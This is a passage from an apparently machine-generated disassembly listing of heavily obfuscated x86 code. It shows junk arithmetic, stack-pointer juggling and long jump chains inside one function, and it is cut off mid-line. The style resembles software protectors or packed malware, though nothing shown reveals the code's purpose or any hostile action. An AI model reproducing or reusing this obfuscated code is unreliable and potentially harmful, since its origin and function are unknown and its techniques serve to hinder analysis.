mov ecx, esp add ecx, 4 jmp loc_5A0453 ; --------------------------------------------------------------------------- loc_59FF84: ; CODE XREF: sub_581EE9+18519j push [esp-6E92h+arg_6E8A] pop eax push 5EE2h jmp loc_5925ED ; --------------------------------------------------------------------------- loc_59FF92: ; CODE XREF: sub_581EE9+1D6DFj pop ecx dec esi push edi jmp loc_5A6FF1 ; --------------------------------------------------------------------------- loc_59FF9A: ; CODE XREF: sub_581EE9+21D84j pop ebx jmp loc_5A0BED ; --------------------------------------------------------------------------- loc_59FFA0: ; CODE XREF: sub_581EE9+188A2j xor ebp, edx mov edx, [esp] add esp, 4 jmp loc_5A5595 ; --------------------------------------------------------------------------- loc_59FFB0: ; CODE XREF: sub_581EE9+2505Cj add esi, 12C339E7h jmp loc_598F2D ; --------------------------------------------------------------------------- loc_59FFBB: ; CODE XREF: sub_581EE9+18584j mov esi, [esp-6E9Eh+arg_6E96] add esp, 4 jmp loc_59C723 ; --------------------------------------------------------------------------- loc_59FFC6: ; CODE XREF: sub_581EE9+17831j mov ebx, 4 jmp loc_59AAE1 ; --------------------------------------------------------------------------- loc_59FFD0: ; CODE XREF: sub_581EE9+1A47Dj or ecx, 358F1F82h neg ecx not ecx push esi jmp loc_592598 ; --------------------------------------------------------------------------- loc_59FFE0: ; CODE XREF: sub_581EE9+11F25j add edi, 4 xchg edi, [esp-6E92h+arg_6E8A] pop esp jmp loc_59BE7E ; --------------------------------------------------------------------------- loc_59FFEC: ; CODE XREF: sub_581EE9+23944j pop [esp-6E96h+arg_6E8E] pop esp rol [esp-6E9Eh+arg_6E96], cl pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_59FFF9: ; CODE XREF: sub_581EE9+22F1Aj sub esp, 4 mov [esp-6E96h+arg_6E8E], ebx jmp loc_5A116A ; --------------------------------------------------------------------------- loc_5A0004: ; CODE XREF: sub_581EE9+1DDBAj mov edx, esp jmp loc_59C46F ; --------------------------------------------------------------------------- loc_5A000B: ; CODE XREF: sub_581EE9+23769j shr eax, 4 shr eax, 4 xor eax, 0D802C4h mov edi, eax jmp loc_5A3259 ; --------------------------------------------------------------------------- loc_5A001D: ; CODE XREF: sub_581EE9+12EEEj pop esp jmp loc_59E8B7 ; --------------------------------------------------------------------------- loc_5A0023: ; CODE XREF: sub_581EE9+109CBj xor [esp-6EC4h+arg_6EBA+2], eax xor eax, [esp-6EC4h+arg_6EBA+2] mov esp, [esp-6EC4h+arg_6EBA+2] mov [esp-6EC4h+arg_6EBA+2], ecx push edx push 6B6273C1h pop edx and edx, 3B277503h sub edx, 0C77F4A61h mov ecx, edx pop edx push ecx mov ecx, 2FA83FD7h push ebp mov ebp, 323F6D90h sub ebx, ebp pop ebp add ebx, ecx jmp loc_598EC7 ; --------------------------------------------------------------------------- loc_5A005B: ; CODE XREF: sub_581EE9+1E75Cj pop esi push ebp mov ebp, 6DB24B8Ah add eax, ebp jmp loc_5A095F ; --------------------------------------------------------------------------- mov cx, word ptr [esp-6EC0h+arg_6EB6+2] jmp loc_5A361E ; --------------------------------------------------------------------------- loc_5A0072: ; CODE XREF: sub_581EE9+23A9Fj dec esi or esi, 432B4877h jmp loc_59481E ; --------------------------------------------------------------------------- loc_5A007E: ; CODE XREF: sub_581EE9+1C13Aj pop eax add esi, 4 xchg esi, [esp-6E9Ch+arg_6E92+2] pop esp push eax push ebp mov ebp, 44B03B19h dec ebp push eax mov eax, 5D0B0C2Eh jmp loc_59663C ; --------------------------------------------------------------------------- loc_5A009C: ; CODE XREF: sub_581EE9+15079j mov edi, esp push 4595h jmp loc_59E38E ; --------------------------------------------------------------------------- loc_5A00A8: ; CODE XREF: sub_581EE9+15B9Bj push ecx jmp loc_598D97 ; --------------------------------------------------------------------------- loc_5A00AE: ; CODE XREF: sub_581EE9+1C731j sub edi, 83B70E4h xor edi, 69006F06h mov esi, edi pop edi mov ebp, 0C53F9810h push ecx mov ecx, 63EF7D2Ch inc ecx push ebx mov ebx, 41DA2B56h and ebx, 16EE63DCh inc ebx and ebx, 4EAF6F20h or ebx, 22B87952h jmp loc_594DDC ; --------------------------------------------------------------------------- loc_5A00E7: ; CODE XREF: sub_581EE9+19553j add al, 0FEh mov ecx, [esp-6E7Eh+arg_6E76] add esp, 4 jmp loc_593372 ; --------------------------------------------------------------------------- loc_5A00F7: ; CODE XREF: sub_581EE9+1A0BFj mov edx, [esp-6EA0h+arg_6E96+2] add esp, 4 push eax mov eax, 53F11F8h xor eax, 0CBF1A36h jmp loc_5A6114 ; --------------------------------------------------------------------------- loc_5A0110: ; CODE XREF: sub_581EE9+189A0j mov esi, edx pop edx push edx mov edx, 584D7713h jmp loc_5A50F4 ; --------------------------------------------------------------------------- loc_5A011E: ; CODE XREF: sub_581EE9+13040j pop esp mov dword ptr [esp-6E82h+arg_6E7A], ebx jmp loc_5A5AEB ; --------------------------------------------------------------------------- loc_5A0127: ; CODE XREF: sub_581EE9+12832j mov ebx, esp jmp loc_595BBB ; --------------------------------------------------------------------------- loc_5A012E: ; CODE XREF: sub_581EE9+163EDj shr ebp, 4 jmp loc_5A0A9E ; --------------------------------------------------------------------------- loc_5A0136: ; CODE XREF: sub_581EE9+162EEj xchg edx, [esp-6E8Ch+arg_6E84] dec edx xchg edx, [esp-6E8Ch+arg_6E84] jmp loc_59487A ; --------------------------------------------------------------------------- loc_5A0142: ; CODE XREF: sub_581EE9+23D49j mov eax, 4 add edx, 76B76F13h add edx, eax jmp loc_5A2F9B ; --------------------------------------------------------------------------- loc_5A0154: ; CODE XREF: sub_581EE9+1EA3Aj push ebx push edx mov edx, 3FFB4623h push ebp push edi mov edi, 46DF0FBEh mov ebp, 7E6F3EB7h jmp loc_592725 ; --------------------------------------------------------------------------- loc_5A016C: ; CODE XREF: sub_581EE9+2395Ej add edx, ecx pop ecx xchg edx, [esp-6E80h+arg_6E76+2] pop esp push 71E0h mov [esp-6E80h+arg_6E76+2], ebx push esp mov ebx, [esp-6E7Ch+arg_6E72+2] push edi mov edi, esp jmp loc_596579 ; --------------------------------------------------------------------------- loc_5A0187: ; CODE XREF: sub_581EE9+1F752j pop eax xor ebx, edx pop edx and ecx, ebx push [esp-6E80h+arg_6E76+2] pop ebx add esp, 4 jmp loc_5A6711 ; --------------------------------------------------------------------------- loc_5A019C: ; CODE XREF: sub_581EE9+24011j add edi, 1DFB1016h pop ebp sub ebp, edi mov edi, [esp-6E88h+arg_6E80] add esp, 4 xor ebp, [esp-6E8Ch+arg_6E84] jmp loc_59C95F ; --------------------------------------------------------------------------- loc_5A01B6: ; CODE XREF: sub_581EE9+14F21j pop esi sub eax, 0FFFFFFFFh push ebp mov ebp, 7DF3416Dh add ebp, 547A946Fh xor eax, ebp pop ebp mov ecx, eax mov eax, [esp-6E66h+arg_6E5C+2] jmp loc_59706B ; --------------------------------------------------------------------------- loc_5A01D5: ; CODE XREF: sub_581EE9+1AEE7j sub [esp-6E60h+arg_6E5C], esi sub [esp-6E60h+arg_6E5C], 15F221EFh mov esi, [esp-6E60h+arg_6E58] push ebx mov ebx, esp jmp loc_5A4389 ; --------------------------------------------------------------------------- loc_5A01EC: ; CODE XREF: sub_581EE9+14551j mov edi, 3633475Fh push 1EA6h jmp loc_59A66E ; --------------------------------------------------------------------------- loc_5A01FB: ; CODE XREF: sub_581EE9+215E6j sub edx, 2F824A16h sub edx, ecx add edx, 2F824A16h mov ecx, [esp-6E9Ah+arg_6E92] jmp loc_59699A ; --------------------------------------------------------------------------- loc_5A0211: ; CODE XREF: sub_581EE9+1B970j push edi jmp loc_59DA6E ; --------------------------------------------------------------------------- lodsd push 958h mov [esp-6E6Eh+arg_6E64+2], edx mov edx, 634B59F3h xchg eax, edx inc eax xchg eax, edx jmp loc_5A0A42 ; --------------------------------------------------------------------------- loc_5A022D: ; CODE XREF: sub_581EE9+11395j mov [esp-6EA0h+arg_6E96+2], edi pop ebp pop edi push eax push esi mov esi, 607C7EB8h mov eax, esi pop esi push ebx jmp loc_59E8BF ; --------------------------------------------------------------------------- lodsd sub esp, 4 jmp loc_5A579A ; --------------------------------------------------------------------------- loc_5A024E: ; CODE XREF: sub_581EE9+16558j mov ebp, 4 add [esp-6EAAh+arg_6EA4+2], ebp pop ebp jmp loc_59FA69 ; --------------------------------------------------------------------------- loc_5A025D: ; CODE XREF: sub_581EE9+1D1E9j mov eax, 1E696C0Dh shl eax, 3 dec eax jmp loc_5A592D ; --------------------------------------------------------------------------- loc_5A026B: ; CODE XREF: sub_581EE9+15FD6j pop [esp-6E8Ch+arg_6E84] jmp loc_5948D2 ; --------------------------------------------------------------------------- loc_5A0273: ; CODE XREF: sub_581EE9+1AFBEj xchg ebp, [esp-6E6Eh+arg_6E64+2] jmp loc_5A58EB ; --------------------------------------------------------------------------- loc_5A027B: ; CODE XREF: sub_581EE9+2418Fj xchg ecx, [esp-6E6Eh+arg_6E64+2] mov esp, [esp-6E6Eh+arg_6E64+2] jmp loc_59E3B3 ; --------------------------------------------------------------------------- loc_5A0286: ; CODE XREF: sub_581EE9+22B1Bj push edi mov edi, 708D5661h shl edi, 4 or edi, 60EA6027h xor edi, 4F710551h jmp loc_59C991 ; --------------------------------------------------------------------------- loc_5A02A0: ; CODE XREF: sub_581EE9+18939j xchg edx, [esp-6E9Ah+arg_6E92] mov esp, [esp-6E9Ah+arg_6E92] loc_5A02A6: ; CODE XREF: sub_581EE9+13DF8j push 6FD4h mov [esp-6E96h+arg_6E8E], eax mov eax, esp jmp loc_59C0C6 ; --------------------------------------------------------------------------- loc_5A02B5: ; CODE XREF: sub_581EE9+11B09j add ebx, edi mov edi, [esp+0] jmp loc_59DE4D ; --------------------------------------------------------------------------- loc_5A02BF: ; CODE XREF: sub_581EE9+1550Cj sub dl, 42h jmp loc_5A5809 ; --------------------------------------------------------------------------- loc_5A02C7: ; CODE XREF: sub_581EE9+13031j sub al, 55h sub bh, 62h jmp loc_5A03D3 ; --------------------------------------------------------------------------- loc_5A02D1: ; CODE XREF: sub_581EE9+20CA5j pop eax jmp loc_59A56A ; --------------------------------------------------------------------------- loc_5A02D7: ; CODE XREF: sub_581EE9+11735j shr eax, 4 add eax, 568AC905h jmp loc_5A3415 ; --------------------------------------------------------------------------- loc_5A02E4: ; CODE XREF: sub_581EE9+11F8Dj push dword ptr [esp+0] mov edx, [esp-6E8Ch+arg_6E84] add esp, 4 push edx mov edx, esp add edx, 4 jmp loc_597C68 ; --------------------------------------------------------------------------- loc_5A02FE: ; CODE XREF: sub_581EE9+13BB8j inc edi shl edi, 7 sub edi, 40A27FEFh add edi, 0C97A2CBAh mov ebp, edi pop edi xor eax, ebp mov ebp, [esp-6E9Ah+arg_6E92] add esp, 4 sub esp, 4 mov [esp-6E9Ah+arg_6E92], ebx mov ebx, 616F7DD8h sub eax, 566A3EF0h sub eax, ebx add eax, 566A3EF0h jmp loc_5937CA ; --------------------------------------------------------------------------- loc_5A033B: ; CODE XREF: sub_581EE9+1B0CAj mov esp, [esp-6E78h+arg_6E6E+2] mov [esp-6E78h+arg_6E6E+2], ecx push 7D632C29h pop ecx sub eax, 530A18D2h jmp loc_59818A ; --------------------------------------------------------------------------- loc_5A0351: ; CODE XREF: sub_581EE9+1F70Cj add ebx, 4 add ebx, 4 xchg ebx, [esp-6E78h+arg_6E6E+2] pop esp push ebx mov ebx, 9A2D7357h mov edx, ebx jmp loc_594EE4 ; --------------------------------------------------------------------------- loc_5A036E: ; CODE XREF: sub_581EE9+1C1F7j mov ecx, 3AA57130h xchg edx, ecx jmp loc_59EB62 ; --------------------------------------------------------------------------- loc_5A037A: ; CODE XREF: sub_581EE9+124C7j add edx, 9D530C7h jmp loc_59A0CA ; --------------------------------------------------------------------------- loc_5A0385: ; CODE XREF: sub_581EE9+10517j mov edx, esp push ecx mov ecx, 4 add edx, ecx pop ecx push edi push 2 mov edi, [esp-6EA0h+arg_6E96+2] add esp, 4 add edx, edi mov edi, [esp-6EA4h+arg_6E9A+2] push 1164h mov [esp-6EA0h+arg_6E96+2], ebp mov ebp, esp add ebp, 4 push 1142h jmp loc_5A4096 ; --------------------------------------------------------------------------- loc_5A03BB: ; CODE XREF: sub_581EE9+221A0j xor edi, 4665DEA8h jmp loc_59B036 ; --------------------------------------------------------------------------- loc_5A03C6: ; CODE XREF: sub_581EE9+13109j add eax, 27AF3962h pop edi shl eax, 1 jmp loc_59266D ; --------------------------------------------------------------------------- loc_5A03D3: ; CODE XREF: sub_581EE9+1E3E3j sub bh, al add bh, 62h pop eax xor bh, 0ABh and bh, 0CAh shl bh, 7 shr bh, 6 push eax mov al, 0B5h or al, 0ACh and al, 32h not al sub al, 2Eh add bh, 0F2h sub bh, al sub bh, 0F2h pop eax xor al, bh pop ebx sub esp, 4 mov dword ptr [esp-6E82h+arg_6E7A], edx push ecx mov cl, 0EFh push ebx mov bl, 36h sub cl, bl pop ebx jmp loc_595223 ; --------------------------------------------------------------------------- loc_5A0410: ; CODE XREF: sub_581EE9+1489Bj mov ecx, [esp-6E6Ah+arg_6E60+2] push ebp jmp loc_5A08B6 ; --------------------------------------------------------------------------- loc_5A0419: ; CODE XREF: sub_581EE9+1A6EFj add ebp, ecx pop ecx jmp loc_5A5970 ; --------------------------------------------------------------------------- loc_5A0421: ; CODE XREF: sub_581EE9+1629Cj sub esp, 4 mov [esp-6E8Ch+arg_6E84], esp jmp loc_59C7E3 ; --------------------------------------------------------------------------- loc_5A042F: ; CODE XREF: sub_581EE9+17F86j sub edx, 4 jmp loc_5A1722 ; --------------------------------------------------------------------------- loc_5A043A: ; CODE XREF: sub_581EE9+175E1j push ecx push edx push 22353A01h pop edx push esi jmp loc_59A196 ; --------------------------------------------------------------------------- loc_5A0448: ; CODE XREF: sub_581EE9+15A32j add esp, 4 jmp loc_5A40F6 ; --------------------------------------------------------------------------- loc_5A0453: ; CODE XREF: sub_581EE9+1E096j add ecx, 4 push ecx push [esp-6E3Eh+arg_6E3A] pop ecx pop [esp-6E3Eh+arg_6E36] pop esp retn ; --------------------------------------------------------------------------- jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5A0466: ; CODE XREF: sub_581EE9+1228Cj mov edx, 2C91102Dh shl edx, 3 shr edx, 7 push ebx push 3C5Bh mov [esp-6E5Eh+arg_6E54+2], esi mov esi, 63D2DD9h push esi mov esi, 63D2DD9h sub esp, 4 jmp loc_595668 ; --------------------------------------------------------------------------- loc_5A048D: ; CODE XREF: sub_581EE9+20527j pop esp mov [esp-6E5Ah+arg_6E50+2], edi push 22120030h mov edi, [esp-6E56h+arg_6E4C+2] add esp, 4 jmp loc_595016 ; --------------------------------------------------------------------------- loc_5A04A4: ; CODE XREF: sub_581EE9+24664j mov edi, 13552B0Eh xor edi, 8912014h sub ecx, edi pop edi jmp loc_5A5616 ; --------------------------------------------------------------------------- loc_5A04B7: ; CODE XREF: sub_581EE9+1DC56j mov [esp-6EAEh+arg_6EA4+2], eax push ebx jmp loc_5971BA ; --------------------------------------------------------------------------- loc_5A04C0: ; CODE XREF: sub_581EE9+1D43Ej mov [esp-6E96h+arg_6E8E], eax pop esi push 109Ch mov [esp-6E96h+arg_6E8E], esi mov eax, [esp-6E96h+arg_6E8E] jmp loc_593D03 ; --------------------------------------------------------------------------- loc_5A04D4: ; CODE XREF: sub_581EE9+15A96j shl edi, 1 shr edi, 1 sub edi, 1F354517h dec edi and edi, 2CA1781Dh push ebx mov ebx, 0CA29DA0Dh sub edi, ebx pop ebx add ecx, 1C021203h add ecx, edi sub ecx, 1C021203h mov edi, [esp-6E64h+arg_6E5C] add esp, 4 sub ecx, 7FA269FFh jmp loc_5A0A59 ; --------------------------------------------------------------------------- loc_5A050D: ; CODE XREF: sub_581EE9+1C535j mov eax, 4 push 14DDh mov [esp-6EAEh+arg_6EA4+2], esi mov esi, 75A13094h sub esi, 60542884h shl esi, 2 sub esi, offset byte_4B09FB add ecx, esi pop esi add ecx, eax sub ecx, 54E91645h push [esp-6EB2h+arg_6EA8+2] pop eax jmp loc_5993ED ; --------------------------------------------------------------------------- loc_5A0542: ; CODE XREF: sub_581EE9+2097Cj not esi xchg esi, ecx jmp loc_597688 ; --------------------------------------------------------------------------- loc_5A054B: ; CODE XREF: sub_581EE9+12BDBj mov ebp, 296C7F36h or ebp, 28277310h inc ebp add ebp, 233B6AFBh and ebp, 0B296746h sub ebp, 0AF176184h push 0B24h mov [esp-6E68h+arg_6E60], esi jmp loc_5A43ED ; --------------------------------------------------------------------------- loc_5A0576: ; CODE XREF: sub_581EE9+1E925j pop esi push 52BCh mov [esp-6E68h+arg_6E60], ebp push ebp push esp mov ebp, [esp-6E60h+arg_6E58] jmp loc_59C5B1 ; --------------------------------------------------------------------------- loc_5A0589: ; CODE XREF: sub_581EE9+1DB70j add esi, ebp pop ebp push ecx mov ecx, 57AD5CCCh jmp loc_5A4FDE ; --------------------------------------------------------------------------- loc_5A0597: ; CODE XREF: sub_581EE9+16DA6j pop ebx push edx mov dl, ah mov bh, dl pop edx pop eax jmp loc_59624E ; --------------------------------------------------------------------------- loc_5A05A4: ; CODE XREF: sub_581EE9+140A7j add bl, 5Eh sub bl, 63h jmp loc_595DB5 ; --------------------------------------------------------------------------- loc_5A05AF: ; CODE XREF: sub_581EE9+1EAB4j mov ebx, [esp-6E5Ah+arg_6E50+2] add esp, 4 push 7FDCh jmp loc_5994BF ; --------------------------------------------------------------------------- loc_5A05C2: ; CODE XREF: sub_581EE9+1D60Bj add [esp-6E96h+arg_6E92], ebx mov ebx, [esp-6E96h+arg_6E8E] add esp, 4 mov esi, [esp-6E9Ah+arg_6E92] add esp, 4 add esi, 4 add esi, 4 xchg esi, [esp-6E9Eh+arg_6E96] jmp loc_5A6EE2 ; --------------------------------------------------------------------------- loc_5A05E3: ; CODE XREF: sub_581EE9+173EBj push edx push esp pop edx add edx, 4 add edx, 4 xchg edx, [esp-6EA8h+arg_6E9E+2] pop esp add eax, edx pop edx jmp loc_599F72 ; --------------------------------------------------------------------------- loc_5A05FE: ; CODE XREF: sub_581EE9+21351j add eax, 4 add eax, 4 push eax push [esp-6EACh+arg_6EA8] mov eax, [esp-6EA8h+arg_6E9E+2] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp-6EA4h+arg_6E9A+2] pop esp pop [esp-6EA8h+arg_6E9E+2] mov esp, [esp-6EACh+arg_6EA4] push 4237h mov [esp-6EA8h+arg_6E9E+2], esi pop dword ptr [edi+20h] push [esp-6EACh+arg_6EA4] jmp loc_59D434 ; --------------------------------------------------------------------------- loc_5A063C: ; CODE XREF: sub_581EE9+235BAj push ecx jmp loc_595036 ; --------------------------------------------------------------------------- loc_5A0642: ; CODE XREF: sub_581EE9+17E58j pop ebx mov ecx, esi jmp loc_5A005B ; --------------------------------------------------------------------------- loc_5A064A: ; CODE XREF: sub_581EE9+183F6j push edx jmp loc_59D1FB ; --------------------------------------------------------------------------- loc_5A0650: ; CODE XREF: sub_581EE9+12400j push edi jmp loc_5A6460 ; --------------------------------------------------------------------------- loc_5A0656: ; CODE XREF: sub_581EE9+19F26j push eax mov al, 0C1h shl al, 3 and al, 4Fh or al, 0E5h sub al, 73h push ebx jmp loc_5A147F ; --------------------------------------------------------------------------- loc_5A0668: ; CODE XREF: sub_581EE9+16EE3j push esi push ebx push 76577E3Eh pop ebx inc ebx add ebx, 29D32D80h push ebp jmp loc_5A277E ; --------------------------------------------------------------------------- loc_5A067D: ; CODE XREF: sub_581EE9+17232j push ebx mov ebx, 4D2E5847h and ebx, 6A0B0176h add ebx, 204571F5h jmp loc_5A091A ; --------------------------------------------------------------------------- loc_5A0694: ; CODE XREF: sub_581EE9+1867Cj xor ecx, ebx pop ebx mov esi, ecx push [esp-6E6Ah+arg_6E60+2] push [esp-6E66h+arg_6E5C+2] pop ecx jmp loc_59DCEA ; --------------------------------------------------------------------------- loc_5A06A5: ; CODE XREF: sub_581EE9+1BE11j mov [esp-6E5Eh+arg_6E54+2], edi jmp loc_59DC77 ; --------------------------------------------------------------------------- loc_5A06AD: ; CODE XREF: sub_581EE9+22156j neg bl sub bl, 0EFh push ecx mov ch, bl push ebx mov bh, ch mov dh, bh pop ebx pop ecx pop ebx sub al, 0CBh sub al, dh push bx mov bl, 0CBh jmp loc_593367 ; --------------------------------------------------------------------------- loc_5A06CA: ; CODE XREF: sub_581EE9+16F10j push ecx mov ecx, 4 add [esp-6E64h+arg_6E60], 558D7495h add [esp-6E64h+arg_6E60], ecx sub [esp-6E64h+arg_6E60], 558D7495h pop ecx mov ebx, [esp-6E68h+arg_6E60] jmp loc_59AF84 ; --------------------------------------------------------------------------- loc_5A06ED: ; CODE XREF: sub_581EE9+1F3AAj add ecx, 4 sub ecx, 4 xor ecx, [esp-6E68h+arg_6E60] xor [esp-6E68h+arg_6E60], ecx jmp loc_594CC4 ; --------------------------------------------------------------------------- loc_5A0704: ; CODE XREF: sub_581EE9+1A051j pop esp push eax jmp loc_59F28E ; --------------------------------------------------------------------------- loc_5A070B: ; CODE XREF: sub_581EE9+25207j xor ebx, [esp-6E96h+arg_6E8E] xor [esp-6E96h+arg_6E8E], ebx push 5EACh mov [esp-6E92h+arg_6E8A], ebx xchg ebp, [esp-6E92h+arg_6E8A] jmp loc_5A1795 ; --------------------------------------------------------------------------- loc_5A0721: ; CODE XREF: sub_581EE9+1DD52j mov edx, esp jmp loc_59AD08 ; --------------------------------------------------------------------------- loc_5A0728: ; CODE XREF: sub_581EE9+20E3Ej or dh, 6 neg dh or dh, 73h jmp loc_59AD2B ; --------------------------------------------------------------------------- loc_5A0735: ; CODE XREF: sub_581EE9+17C20j add eax, 479B056Dh neg eax not eax jmp loc_5A07FB ; --------------------------------------------------------------------------- loc_5A0743: ; CODE XREF: sub_581EE9+14394j mov ecx, 0F663B3Dh add esi, 38F05034h add esi, ecx jmp loc_596002 ; --------------------------------------------------------------------------- loc_5A0755: ; CODE XREF: sub_581EE9+15465j pop ecx sub esp, 4 mov dword ptr [esp-6E82h+arg_6E7A], edi mov edi, esp jmp loc_592424 ; --------------------------------------------------------------------------- loc_5A0763: ; CODE XREF: sub_581EE9+1A128j not ebp add ebp, 504E4BA7h sub ebp, 0A8A0ED37h add eax, ebp jmp loc_5A177D ; --------------------------------------------------------------------------- loc_5A0778: ; CODE XREF: sub_581EE9+174A9j push esp pop [esp-6E5Ah+arg_6E50+2] jmp loc_598440 ; --------------------------------------------------------------------------- loc_5A0781: ; CODE XREF: sub_581EE9+19CEAj push ebp mov ebp, 5F4B0E51h add ebp, 76335A17h sub ebp, 7A447CF5h add ebp, 0A4C61491h add eax, ebp pop ebp jmp loc_59AFAB ; --------------------------------------------------------------------------- loc_5A07A1: ; CODE XREF: sub_581EE9+24926j mov [esp-6E9Eh+arg_6E96], ebx jmp loc_5A47A8 ; --------------------------------------------------------------------------- loc_5A07A9: ; CODE XREF: sub_581EE9+1B097j not esi push ebx mov ebx, 2E0B722Ah xor esi, ebx pop ebx add edi, esi pop esi jmp loc_59E0DF ; --------------------------------------------------------------------------- loc_5A07BC: ; CODE XREF: sub_581EE9+10252j add edi, 4 xchg edi, [esp-6EAEh+arg_6EA4+2] mov esp, [esp-6EAEh+arg_6EA4+2] shr ecx, 2 jmp loc_59AA44 ; --------------------------------------------------------------------------- loc_5A07CD: ; CODE XREF: sub_581EE9+1DBA1j xor edx, 167E6952h dec edx shl edx, 7 inc edx neg edx add edx, 9305085h jmp loc_5A1D4E ; --------------------------------------------------------------------------- loc_5A07E5: ; CODE XREF: sub_581EE9+1B9EBj sub esp, 4 mov [esp-6E58h+arg_6E50], ebp jmp loc_5A19FB ; --------------------------------------------------------------------------- loc_5A07F3: ; CODE XREF: sub_581EE9+16885j mov esp, [esp-6E70h+arg_6E68] jmp loc_59F459 ; --------------------------------------------------------------------------- loc_5A07FB: ; CODE XREF: sub_581EE9+1E855j add eax, 53B9841Fh sub ebx, eax pop eax pop ebp sub ebx, eax push esi mov esi, 5E3D298Ah sub ebx, esi jmp loc_5A0576 ; --------------------------------------------------------------------------- mov ax, word ptr [esp-6E4Eh+arg_6E44+2] sub esp, 4 mov [esp], ebp jmp loc_59E05E ; --------------------------------------------------------------------------- loc_5A0825: ; CODE XREF: sub_581EE9+14FF9j add dl, 87h jmp loc_5A1640 ; --------------------------------------------------------------------------- loc_5A082D: ; CODE XREF: sub_581EE9+20BC8j pop esp push ebx mov ebx, 44920F6Bh xor edx, ebx jmp loc_5A4369 ; --------------------------------------------------------------------------- loc_5A083B: ; CODE XREF: sub_581EE9+1CF21j add ebx, ebp push [esp-6E72h+arg_6E68+2] jmp loc_59874A ; --------------------------------------------------------------------------- pop dword ptr fs:[edx] jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5A084D: ; CODE XREF: sub_581EE9+22456j add al, dh jmp loc_593D6F ; --------------------------------------------------------------------------- loc_5A0854: ; CODE XREF: sub_581EE9+1BDAEj pop esp sub al, 0BFh add al, 98h add al, ch jmp loc_59A1B9 ; --------------------------------------------------------------------------- loc_5A0860: ; CODE XREF: sub_581EE9+19DC8j sub edi, 780B567Ah push ebp mov ebp, 0AA81196h inc ebp xor ebp, 7D6B0EEAh shl ebp, 4 jmp loc_59FD18 ; --------------------------------------------------------------------------- loc_5A087B: ; CODE XREF: sub_581EE9+2083Dj push 5C1Bh jmp loc_59757C ; --------------------------------------------------------------------------- loc_5A0885: ; CODE XREF: sub_581EE9+1D235j push ecx push esp pop ecx jmp loc_59B366 ; --------------------------------------------------------------------------- loc_5A088D: ; CODE XREF: sub_581EE9+1502Dj pop ebx pop [esp-6E7Ah+arg_6E72] jmp loc_59C2CB ; --------------------------------------------------------------------------- loc_5A0896: ; CODE XREF: sub_581EE9+15AD8j pop edx sub edx, 2C985D18h pop edi push [esp-6E5Ch+arg_6E54] jmp loc_594D65 ; --------------------------------------------------------------------------- loc_5A08A6: ; CODE XREF: sub_581EE9+22321j neg esi sub esp, 4 mov [esp-6E54h+arg_6E4C], eax jmp loc_5940BB ; --------------------------------------------------------------------------- loc_5A08B6: ; CODE XREF: sub_581EE9+1E52Bj mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp-6E66h+arg_6E5C+2] pop esp sub eax, 79C62BBEh add eax, 316F110Bh add eax, ebx sub eax, 316F110Bh add eax, 79C62BBEh push ecx mov ecx, 6C966FC1h jmp loc_595B04 ; --------------------------------------------------------------------------- loc_5A08E9: ; CODE XREF: sub_581EE9+148ACj movzx cx, al push 41F5h mov [esp-6E6Ah+arg_6E60+2], edi mov edi, esp jmp loc_59BBF1 ; --------------------------------------------------------------------------- loc_5A08FC: ; CODE XREF: sub_581EE9+217F5j add eax, 4B871BFBh push edi mov edi, 211E1551h add eax, edi pop edi jmp loc_5A1219 ; --------------------------------------------------------------------------- loc_5A090F: ; CODE XREF: sub_581EE9+23133j push edx mov edx, 28EC0644h jmp loc_594F1F ; --------------------------------------------------------------------------- loc_5A091A: ; CODE XREF: sub_581EE9+1E7A6j sub edi, ebx pop ebx jmp loc_59E077 ; --------------------------------------------------------------------------- loc_5A0922: ; CODE XREF: sub_581EE9+105B6j pop edi jmp loc_5A0154 ; --------------------------------------------------------------------------- loc_5A0928: ; CODE XREF: sub_581EE9+222F3j push eax mov eax, 4FDE698Ch jmp loc_5969C1 ; --------------------------------------------------------------------------- loc_5A0933: ; CODE XREF: sub_581EE9+1102Fj push edi push 7D1613FAh mov edi, [esp-6E5Ah+arg_6E50+2] add esp, 4 push ebx mov ebx, 0CA54BCEh push ebp mov ebp, 48755E9h and ebx, ebp pop ebp inc ebx sub ebx, 0E8CB087Ch xor edi, ebx jmp loc_598269 ; --------------------------------------------------------------------------- loc_5A095F: ; CODE XREF: sub_581EE9+1E17Bj mov ebp, [esp-6EC0h+arg_6EB6+2] add esp, 4 jmp loc_592F8F ; --------------------------------------------------------------------------- loc_5A096A: ; CODE XREF: sub_581EE9+20595j mov ecx, [esp-6EC4h+arg_6EBA+2] add esp, 4 push edi mov edi, 2 jmp loc_59FDCE ; --------------------------------------------------------------------------- loc_5A097E: ; CODE XREF: sub_581EE9+1361Fj add eax, ebp jmp loc_59482F ; --------------------------------------------------------------------------- loc_5A0985: ; CODE XREF: sub_581EE9+1B02Fj and bh, 0A0h jmp loc_5979CE ; --------------------------------------------------------------------------- loc_5A098D: ; CODE XREF: sub_581EE9+1B6CDj mov ebx, 7D773291h sub ebx, ebp push [esp-6EC0h+arg_6EB6+2] pop ebp add esp, 4 xor eax, ebx jmp loc_5A05AF ; --------------------------------------------------------------------------- loc_5A09A2: ; CODE XREF: sub_581EE9+235ACj push 4E45h mov [esp-6EC0h+arg_6EB6+2], ecx push eax mov al, 0CAh add al, 70h or al, 93h dec al jmp loc_5A1351 ; --------------------------------------------------------------------------- loc_5A09B8: ; CODE XREF: sub_581EE9+202A5j pop ebx push ebx push esp jmp loc_59EC5F ; --------------------------------------------------------------------------- loc_5A09C0: ; CODE XREF: sub_581EE9+1CB41j push ebx push edi mov edi, esp jmp loc_5A488B ; --------------------------------------------------------------------------- loc_5A09C9: ; CODE XREF: sub_581EE9+24572j push edx mov edx, esp add edx, 4 sub edx, 4 xor edx, [esp-6EC4h+arg_6EBA+2] xor [esp-6EC4h+arg_6EBA+2], edx xor edx, [esp-6EC4h+arg_6EBA+2] pop esp mov [esp-6EC8h+arg_6EBE+2], edx jmp loc_5A603E ; --------------------------------------------------------------------------- loc_5A09EA: ; CODE XREF: sub_581EE9+1D193j push esi mov esi, 14E414A9h and esi, 241112A4h sub esi, 5627469Eh or esi, 0CA94EF8h xor esi, 2D0E0EC3h xor esi, 925185ADh add eax, esi pop esi sub eax, ebp sub eax, 12A64594h pop ebp push ecx mov ecx, 25CA27DCh jmp loc_59AA88 ; --------------------------------------------------------------------------- loc_5A0A24: ; CODE XREF: 